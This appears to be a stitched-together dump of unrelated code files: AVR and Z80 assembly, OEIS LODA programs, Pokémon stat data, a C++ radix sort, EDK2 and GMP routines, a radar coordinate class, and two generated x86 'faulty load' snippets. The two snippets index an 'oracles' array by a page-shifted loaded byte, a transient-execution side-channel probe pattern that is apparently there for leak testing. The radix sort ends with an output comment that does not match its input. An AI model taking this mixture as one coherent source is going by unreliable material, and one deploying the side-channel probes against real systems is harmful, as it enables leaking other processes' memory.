; now its time to show mix
push N ; save
rcall Show
pop N ; restore
dec N
brne NextStep
ret
;subroutine +++++++++++++++++++++++++++++++++++++++++++++++++
Preload1:
lpm
mov U,r0
adiw Z, 1
lpm
mov D,r0
ret
;subroutine +++++++++++++++++++++++++++++++++++++++++++++++++
Preload2:
lpm
mov H,r0
adiw Z, 1
lpm
mov L,r0
ret
;subroutine +++++++++++++++++++++++++++++++++++++++++++++++++
Show:
ldi XH, 1 ; X for a Letter-Loop (scrollspeed)
ldi XL, SCROLLSPEED
LetterLoop:
ldi I, 0
ldi N, 11 ; we need N to calculate number for LED
ByteLoop:
inc I
; if I = 1 : use mov A, RegUP
; if I = 2 : use mov A, RegDN
; if I = 3 : Loop The Letter
cpi I, 1
brne Qis2nd
mov A, U
Qis2nd:
cpi I, 2
brne Qis3rd
mov A, D
Qis3rd:
cpi I, 3 ; is the final second byte still loaded?
breq MakeLLoop ; Make a Letter-Loop Descission
; ByteAnalyse START -----------------------------------------
Analyse:
rol A ; move highest bit to carry
brcs CalcByte ; branch if carry set, else
ldi B, 0 ; set output to Zero and ...
out PORTB, B
rjmp LineOne ; .. do not make CalcByte
CalcByte: ; ok, Carry is set so we have to do something
out PORTB, N
LineOne:
cpi N, 8 ; if 8, we have to go to next LED-Line (N=15)
brne LineTwo
ldi N, 16 ; need +1 because of dec
rjmp NextBitEnd ; end
LineTwo:
cpi N, 12 ; if 12, we have to go to next LED-Line (N=23)
brne LineThreeFour
ldi N, 23
rjmp ByteLoop
LineThreeFour:
cpi N, 16 ; if 16, we have the last LED reached
breq MakeLLoop ; jump out of the Analyse Loop
NextBitEnd:
dec N
rjmp Analyse
; ByteAnalyse END ------------------------------------------
MakeLLoop:
sbiw X, 1
brne LetterLoop
ret
.include "symbols_small.h"
|
; A274179: Expansion of f(x^1, x^6) in powers of x where f() is Ramanujan's general theta function.
; 1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
mov $2,$0
mul $0,4
add $0,2
mov $1,4
add $1,$0
add $0,$1
mul $1,2
sub $1,4
add $2,4
lpb $0
trn $1,$2
mov $0,$1
sub $0,1
add $3,1
mov $2,$3
lpe
|
;; Copyright (C) 2016 Ben Kurtovic <ben.kurtovic@gmail.com>
;; Released under the terms of the MIT License. See LICENSE for details.
; ----- CRATER UNIT TESTING SUITE ---------------------------------------------
; 04-basic.asm
; Basic instruction test
.org $0000
main:
di
ld a, $23
inc a
call foo
foo:
push bc
xor c
ret z
rrca
ret
|
db DEX_NINETALES ; pokedex id
db 73 ; base hp
db 76 ; base attack
db 75 ; base defense
db 100 ; base speed
db 100 ; base special
db FIRE ; species type 1
db FIRE ; species type 2
db 75 ; catch rate
db 178 ; base exp yield
INCBIN "pic/bmon/ninetales.pic",0,1 ; 77, sprite dimensions
dw NinetalesPicFront
dw NinetalesPicBack
; attacks known at lvl 0
db EMBER
db TAIL_WHIP
db QUICK_ATTACK
db ROAR
db 0 ; growth rate
; learnset
tmlearn 6,8
tmlearn 9,10,15
tmlearn 20
tmlearn 28,31,32
tmlearn 33,34,38,39,40
tmlearn 44
tmlearn 50
db 0 ; padding
|
// C++ implementation of Radix Sort
#include <iostream>
using namespace std;
// A utility function to get maximum value in arr[]
int getMax(int arr[], int n)
{
int mx = arr[0];
for (int i = 1; i < n; i++)
if (arr[i] > mx)
mx = arr[i];
return mx;
}
// A function to do counting sort of arr[] according to
// the digit represented by exp.
void countSort(int arr[], int n, int exp)
{
int output[n]; // output array
int i, count[10] = { 0 };
// Store count of occurrences in count[]
for (i = 0; i < n; i++)
count[(arr[i] / exp) % 10]++;
// Change count[i] so that count[i] now contains actual
// position of this digit in output[]
for (i = 1; i < 10; i++)
count[i] += count[i - 1];
// Build the output array
for (i = n - 1; i >= 0; i--) {
output[count[(arr[i] / exp) % 10] - 1] = arr[i];
count[(arr[i] / exp) % 10]--;
}
// Copy the output array to arr[], so that arr[] now
// contains sorted numbers according to current digit
for (i = 0; i < n; i++)
arr[i] = output[i];
}
// The main function to that sorts arr[] of size n using
// Radix Sort
void radixsort(int arr[], int n)
{
// Find the maximum number to know number of digits
int m = getMax(arr, n);
// Do counting sort for every digit. Note that instead
// of passing digit number, exp is passed. exp is 10^i
// where i is current digit number
for (int exp = 1; m / exp > 0; exp *= 10)
countSort(arr, n, exp);
}
// A utility function to print an array
void print(int arr[], int n)
{
for (int i = 0; i < n; i++)
cout << arr[i] << " ";
}
// Driver Code
int main()
{
int arr[] = { 170, 45, 75, 90, 802, 24, 2, 66 };
int n = sizeof(arr) / sizeof(arr[0]);
// Function Call
radixsort(arr, n);
print(arr, n);
return 0;
}
//Output: 6 12 25 161 415 573
|
; A000435: Normalized total height of all nodes in all rooted trees with n labeled nodes.
; Submitted by Jamie Morken(s3)
; 0,1,8,78,944,13800,237432,4708144,105822432,2660215680,73983185000,2255828154624,74841555118992,2684366717713408,103512489775594200,4270718991667353600,187728592242564421568,8759085548690928992256,432357188322752488126152,22510748754252398927872000,1232926106158164038752479600,70864880389206811919012069376,4264956622099218989964380900408,268233854186801904661404949413888,17596516621570611723107254285860000,1202034287378796801763265196064768000,85369694212882788734452615436623131432
add $0,1
mov $2,$0
mov $3,-1
mov $4,1
lpb $0
sub $0,1
add $3,$4
mul $3,$2
mul $4,$0
lpe
div $3,$2
mov $0,$3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rdi
push %rsi
lea addresses_WT_ht+0x1dbaf, %rbx
sub %r13, %r13
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
vmovups %ymm4, (%rbx)
add $53673, %r14
lea addresses_A_ht+0x1516f, %rbx
nop
dec %r12
mov (%rbx), %r13d
nop
nop
nop
nop
cmp $2581, %rdi
lea addresses_UC_ht+0x796f, %rax
nop
sub %rsi, %rsi
mov (%rax), %r14d
xor %rbx, %rbx
lea addresses_WC_ht+0x1e0c5, %r13
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%r13)
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x145ff, %rbx
nop
nop
xor $50502, %rdi
movups (%rbx), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
nop
nop
sub $36241, %r14
lea addresses_D_ht+0xeb37, %r13
xor %rax, %rax
mov (%r13), %edi
nop
nop
nop
nop
sub %r13, %r13
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rbx
push %rcx
// Load
lea addresses_WC+0x10c6f, %r13
nop
nop
sub $62162, %r14
movups (%r13), %xmm0
vpextrq $1, %xmm0, %rax
sub %r13, %r13
// Store
lea addresses_UC+0x1bcef, %rbx
nop
nop
nop
nop
sub $60927, %rax
movl $0x51525354, (%rbx)
nop
nop
nop
add %rcx, %rcx
// Faulty Load
lea addresses_US+0x396f, %r13
and %r15, %r15
mov (%r13), %r12w
lea oracles, %rbx
and $0xff, %r12
shlq $12, %r12
mov (%rbx,%r12,1), %r12
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
bits 64
section .data
CONST: equ 5
section .text
global assembly
assembly:
mov eax, CONST + 1
ret
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; SetMem32.nasm
;
; Abstract:
;
; SetMem32 function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; InternalMemSetMem32 (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT32 Value
; )
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemSetMem32)
ASM_PFX(InternalMemSetMem32):
DB 0x49, 0xf, 0x6e, 0xc0 ; movd mm0, r8 (Value)
mov rax, rcx ; rax <- Buffer
xchg rcx, rdx ; rcx <- Count rdx <- Buffer
shr rcx, 1 ; rcx <- # of qwords to set
jz @SetDwords
DB 0xf, 0x70, 0xC0, 0x44 ; pshufw mm0, mm0, 44h
.0:
DB 0xf, 0xe7, 0x2 ; movntq [rdx], mm0
lea rdx, [rdx + 8] ; use "lea" to avoid flag changes
loop .0
mfence
@SetDwords:
jnc .1
DB 0xf, 0x7e, 0x2 ; movd [rdx], mm0
.1:
ret
|
/* The MIT License (MIT)
*
* (c) Jürgen Simon 2014 (juergen.simon@uni-bonn.de)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cmath>
#include <iostream>
#include <limits>
#include <sstream>
#include <radolan/coordinate_system.h>
#ifdef __cplusplus
namespace Radolan
{
#endif
// M_PI is not standard C++
#ifndef M_PI
#define M_PI 3.14159265358979323846264338327950288
#endif
const double RDCoordinateSystem::LAMBDA_0(10.0);
const double RDCoordinateSystem::PHI_0(60.0);
const double RDCoordinateSystem::R_EARTH(6370.04f); // in meters!
const double RDCoordinateSystem::MESH_WIDTH(1.0);
RDCoordinateSystem::RDCoordinateSystem(RDScanType type) {
m_scanType = type;
updateGridInfo();
}
RDCoordinateSystem::~RDCoordinateSystem() {
}
void RDCoordinateSystem::setScanType(RDScanType type) {
if (m_scanType == type) return;
m_scanType = type;
updateGridInfo();
}
void RDCoordinateSystem::updateGridInfo() {
switch (this->m_scanType) {
case RD_EX:
case RD_TH:
case RD_TZ: {
m_radolanGridCountHorizontal = 1400;
m_radolanGridCountVertical = 1500;
m_originGeographical = rdGeographicalPoint(9.0f, 51.0f);
m_offset = rdCartesianPoint(600.0f, 800.0f);
}
break;
default: {
m_originGeographical = rdGeographicalPoint(9.0f, 51.0f);
m_radolanGridCountHorizontal = 900;
m_radolanGridCountVertical = 900;
m_offset = rdCartesianPoint(450.0f, 450.0f);
}
}
// calculate the cartesian coordinates of the center
m_originCartesian = cartesianCoordinate(m_originGeographical);
}
double RDCoordinateSystem::rad(double deg) {
return deg * M_PI / 180.0;
}
double RDCoordinateSystem::deg(double rad) {
return rad * 180.0 / M_PI;
}
double RDCoordinateSystem::polarStereographicScalingFactor(double phi0, double phi) {
return (1 + sin(phi0)) / (1 + sin(phi));
}
RDCartesianPoint RDCoordinateSystem::cartesianCoordinate(RDGeographicalPointRad p) {
// Bezugskoordinate im Bogenmass
static double lambda0 = rad(LAMBDA_0);
static double phi0 = rad(PHI_0);
double M = polarStereographicScalingFactor(phi0, p.latitude);
return rdCartesianPoint(R_EARTH * M * cos(p.latitude) * sin(p.longitude - lambda0),
-R_EARTH * M * cos(p.latitude) * cos(p.longitude - lambda0));
}
RDCartesianPoint RDCoordinateSystem::cartesianCoordinate(RDGeographicalPoint p) {
RDGeographicalPointRad pRad = toRad(p);
return cartesianCoordinate(pRad);
}
RDGridQuadrant RDCoordinateSystem::RDQuadrant(RDGridPoint p) {
bool isLeft = (p.ix - m_offset.x <= 0);
bool isLower = (p.iy - m_offset.y <= 0);
RDGridQuadrant result;
if (isLeft && isLower) {
result = RDLowerLeft;
}
else if (isLeft && !isLower) {
result = RDUpperLeft;
}
else if (!isLeft && !isLower) {
result = RDUpperRight;
}
else {
result = RDLowerRight;
}
return result;
}
RDCartesianPoint RDCoordinateSystem::cartesianCoordinate(RDGridPoint p) {
// distance from origin
double dx, dy;
// find out what quadrant we're in:
RDGridQuadrant quadrant = this->RDQuadrant(p);
switch (quadrant) {
case RDLowerLeft:
dx = p.ix - (m_offset.x - 1.0f) - 1.0f;
dy = p.iy - (m_offset.y - 1.0f) - 1.0f;
break;
case RDUpperLeft:
dx = p.ix - (m_offset.x - 1.0f) - 1.0f;
dy = p.iy - (m_offset.y - 1.0f);
break;
case RDUpperRight:
dx = p.ix - (m_offset.x - 1.0f);
dy = p.iy - (m_offset.y - 1.0f);
break;
case RDLowerRight:
dx = p.ix - (m_offset.x - 1.0f);
dy = p.iy - (m_offset.y - 1.0f) - 1.0f;
break;
}
// to get the real distance, multiply with mesh width
dx *= MESH_WIDTH;
dy *= MESH_WIDTH;
return rdCartesianPoint(m_originCartesian.x + dx, m_originCartesian.y + dy);
}
RDGeographicalPointRad RDCoordinateSystem::geographicalCoordinateRad(RDCartesianPoint p) {
static double b_lambda_0 = rad(LAMBDA_0);
static double b_phi_0 = rad(PHI_0);
RDGeographicalPointRad pg;
pg.longitude = b_lambda_0 + atan(-p.x / p.y);
double omphi = R_EARTH * R_EARTH * (1 + sin(b_phi_0)) * (1 + sin(b_phi_0));
double xy = (p.x * p.x + p.y * p.y);
pg.latitude = asin((omphi - xy) / (omphi + xy));
return pg;
}
RDGeographicalPoint RDCoordinateSystem::geographicalCoordinate(RDCartesianPoint p) {
RDGeographicalPointRad pg = geographicalCoordinateRad(p);
return toDeg(pg);
}
RDGeographicalPointRad RDCoordinateSystem::geographicalCoordinateRad(RDGridPoint p) {
RDCartesianPoint pps = cartesianCoordinate(p);
return geographicalCoordinateRad(pps);
}
RDGeographicalPoint RDCoordinateSystem::geographicalCoordinate(RDGridPoint p) {
RDCartesianPoint pps = cartesianCoordinate(p);
return geographicalCoordinate(pps);
}
RDGeographicalPoint *RDCoordinateSystem::geographicalPolygonForGridpoint(RDGridPoint p, int &count) {
count = 4;
RDCartesianPoint pc = cartesianCoordinate(p);
RDGeographicalPoint *poly = (RDGeographicalPoint *) calloc(sizeof(RDGeographicalPoint), count);
if (poly == NULL) {
std::cerr << "ERROR:geographicalPolygonForGridpoint:could not allocate memory" << std::endl;
count = 0;
return NULL;
}
// TODO needs fixing
RDGridQuadrant quadrant = this->RDQuadrant(p);
switch (quadrant) {
case RDLowerLeft:
poly[0] = geographicalCoordinate(pc);
poly[1] = geographicalCoordinate(rdCartesianPoint(pc.x, pc.y + 1.0f));
poly[2] = geographicalCoordinate(rdCartesianPoint(pc.x + 1.0f, pc.y + 1.0f));
poly[3] = geographicalCoordinate(rdCartesianPoint(pc.x + 1.0f, pc.y));
break;
case RDUpperLeft:
poly[0] = geographicalCoordinate(rdCartesianPoint(pc.x, pc.y - 1.0f));
poly[1] = geographicalCoordinate(pc);
poly[2] = geographicalCoordinate(rdCartesianPoint(pc.x + 1.0f, pc.y));
poly[3] = geographicalCoordinate(rdCartesianPoint(pc.x + 1.0f, pc.y - 1.0f));
break;
case RDUpperRight:
poly[0] = geographicalCoordinate(rdCartesianPoint(pc.x - 1.0f, pc.y - 1.0f));
poly[1] = geographicalCoordinate(rdCartesianPoint(pc.x - 1.0f, pc.y));
poly[2] = geographicalCoordinate(pc);
poly[3] = geographicalCoordinate(rdCartesianPoint(pc.x, pc.y - 1.0f));
break;
case RDLowerRight:
poly[0] = geographicalCoordinate(rdCartesianPoint(pc.x - 1.0f, pc.y));
poly[1] = geographicalCoordinate(rdCartesianPoint(pc.x - 1.0f, pc.y - 1.0));
poly[2] = geographicalCoordinate(rdCartesianPoint(pc.x, pc.y - 1.0f));
poly[3] = geographicalCoordinate(pc);
break;
}
return poly;
}
RDGridPoint RDCoordinateSystem::gridPoint(RDGeographicalPointRad g, bool &isInside) {
RDCartesianPoint cp = cartesianCoordinate(g);
RDGridPoint gp = gridPoint(cp, isInside);
return gp;
}
RDGridPoint RDCoordinateSystem::gridPoint(RDGeographicalPoint g, bool &isInside) {
RDCartesianPoint cp = cartesianCoordinate(g);
RDGridPoint gp = gridPoint(cp, isInside);
return gp;
}
RDGridPoint RDCoordinateSystem::gridPoint(RDCartesianPoint g, bool &isInside) {
// calculate the distance of the point from the origin
double dx = g.x - m_originCartesian.x;
double dy = g.y - m_originCartesian.y;
// quadrant?
RDGridQuadrant quadrant = RDUpperRight;
if (dx < 0.0 && dy < 0.0) {
quadrant = RDLowerLeft;
}
else if (dx < 0.0 && dy >= 0.0) {
quadrant = RDUpperLeft;
}
else if (dx >= 0.0 && dy >= 0.0) {
quadrant = RDUpperRight;
}
else if (dx >= 0.0 && dy < 0.0) {
quadrant = RDLowerRight;
}
// count
RDGridPoint p;
switch (quadrant) {
case RDLowerLeft:
p = rdGridPoint((int) (floor(dx) + m_offset.x),
(int) (floor(dy) + m_offset.y));
break;
case RDUpperLeft:
p = rdGridPoint((int) (floor(dx) + m_offset.x),
(int) (ceil(dy) + m_offset.y - 1.0f));
break;
case RDUpperRight:
p = rdGridPoint((int) (ceil(dx) + m_offset.x - 1.0f),
(int) (ceil(dy) + m_offset.y - 1.0f));
break;
case RDLowerRight:
p = rdGridPoint((int) (floor(dx) + m_offset.x - 1.0f),
(int) (floor(dy) + m_offset.y));
}
if (p.ix >= 0 && p.iy >= 0 && p.ix < m_radolanGridCountHorizontal && p.iy < m_radolanGridCountVertical) {
isInside = true;
} else {
isInside = false;
}
return p;
}
RDGeographicalPointRad RDCoordinateSystem::toRad(RDGeographicalPoint p) {
return rdGeographicalPointRad(rad(p.longitude), rad(p.latitude));
}
RDGeographicalPoint RDCoordinateSystem::toDeg(RDGeographicalPointRad p) {
return rdGeographicalPoint(deg(p.longitude), deg(p.latitude));
}
}
|
dnl IBM POWER mpn_sub_n -- Subtract two limb vectors of equal, non-zero
dnl length.
dnl Copyright 1992, 1994, 1995, 1996, 1999, 2000, 2001, 2005 Free Software
dnl Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 3 of the License, or (at
dnl your option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
dnl INPUT PARAMETERS
dnl res_ptr r3
dnl s1_ptr r4
dnl s2_ptr r5
dnl size r6
include(`../config.m4')
ASM_START()
PROLOGUE(mpn_sub_n)
andil. 10,6,1 C odd or even number of limbs?
l 8,0(4) C load least significant s1 limb
l 0,0(5) C load least significant s2 limb
cal 3,-4(3) C offset res_ptr, it's updated before it's used
sri 10,6,1 C count for unrolled loop
sf 7,0,8 C subtract least significant limbs, set cy
mtctr 10 C copy count into CTR
beq 0,Leven C branch if even # of limbs (# of limbs >= 2)
C We have an odd # of limbs. Add the first limbs separately.
cmpi 1,10,0 C is count for unrolled loop zero?
bc 4,6,L1 C bne cr1,L1 (misassembled by gas)
st 7,4(3)
sfe 3,0,0 C load !cy into ...
sfi 3,3,0 C ... return value register
br C return
C We added least significant limbs. Now reload the next limbs to enter loop.
L1: lu 8,4(4) C load s1 limb and update s1_ptr
lu 0,4(5) C load s2 limb and update s2_ptr
stu 7,4(3)
sfe 7,0,8 C subtract limbs, set cy
Leven: lu 9,4(4) C load s1 limb and update s1_ptr
lu 10,4(5) C load s2 limb and update s2_ptr
bdz Lend C If done, skip loop
Loop: lu 8,4(4) C load s1 limb and update s1_ptr
lu 0,4(5) C load s2 limb and update s2_ptr
sfe 11,10,9 C subtract previous limbs with cy, set cy
stu 7,4(3) C
lu 9,4(4) C load s1 limb and update s1_ptr
lu 10,4(5) C load s2 limb and update s2_ptr
sfe 7,0,8 C subtract previous limbs with cy, set cy
stu 11,4(3) C
bdn Loop C decrement CTR and loop back
Lend: sfe 11,10,9 C subtract limbs with cy, set cy
st 7,4(3) C
st 11,8(3) C
sfe 3,0,0 C load !cy into ...
sfi 3,3,0 C ... return value register
br
EPILOGUE(mpn_sub_n)
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1c815, %rsi
lea addresses_D_ht+0x815, %rdi
clflush (%rsi)
nop
nop
and $26975, %r11
mov $49, %rcx
rep movsb
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_D_ht+0x2d15, %rsi
lea addresses_WC_ht+0x8115, %rdi
nop
xor %rax, %rax
mov $118, %rcx
rep movsq
sub $23279, %rdi
lea addresses_D_ht+0x13855, %rsi
nop
add $13088, %r13
movl $0x61626364, (%rsi)
nop
nop
dec %rcx
lea addresses_normal_ht+0x4421, %rsi
lea addresses_WT_ht+0x1ee15, %rdi
nop
nop
and %r15, %r15
mov $43, %rcx
rep movsq
nop
nop
nop
dec %r11
lea addresses_UC_ht+0x1c995, %rsi
nop
add %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
vmovups %ymm2, (%rsi)
nop
nop
nop
sub %r15, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rcx
push %rdx
// Faulty Load
lea addresses_WT+0x16015, %r10
nop
nop
nop
nop
cmp %rdx, %rdx
mov (%r10), %cx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'39': 21829}
